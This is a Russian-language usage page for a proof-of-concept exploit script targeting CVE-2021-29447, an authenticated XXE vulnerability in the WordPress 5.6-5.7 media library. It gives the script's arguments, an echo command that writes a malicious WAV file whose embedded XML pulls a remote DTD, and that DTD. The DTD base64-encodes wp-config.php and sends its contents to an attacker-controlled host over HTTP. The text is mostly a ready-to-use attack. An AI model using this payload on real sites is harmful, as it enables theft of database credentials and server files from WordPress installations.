
Эксплойт доказательства концепции для CVE-2021-29447: аутентифицированная XXE-уязвимость в медиатеке WordPress 5.6-5.7. Генерирует вредоносный WAV-файл и DTD для чтения произвольных файлов сервера через внеполосную эксфильтрацию данных.
CVE-2021-29447 WordPress 5.6-5.7 - Аутентифицированная (Автор+) XXE
https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/
использование:
-l LHOST пример: 127.0.0.1 -n NAME пример: payload.wav -dn DTD_NAME пример: evil.dtd -r READ пример: ../wp-config.php
evil-wav-dtd-xxe.py: error: the following arguments are required: -l/--lhost, -n/--name, -dn/--dtd, -r/--read
пример запуска скрипта:
./evil-wav-dtd-xxe.py -l 127.0.0.1 -n payload.wav -dn evil.dtd -r "../wp-config.php"
[*]Created: evil.dtd
-------------------------------------------------------------------------
-- below commands run in terminal directory: generate the .wav file --
-------------------------------------------------------------------------
echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://127.0.0.1/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
evil.dtd (генерируется автоматически)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://127.0.0.1/?p=%file;'>" >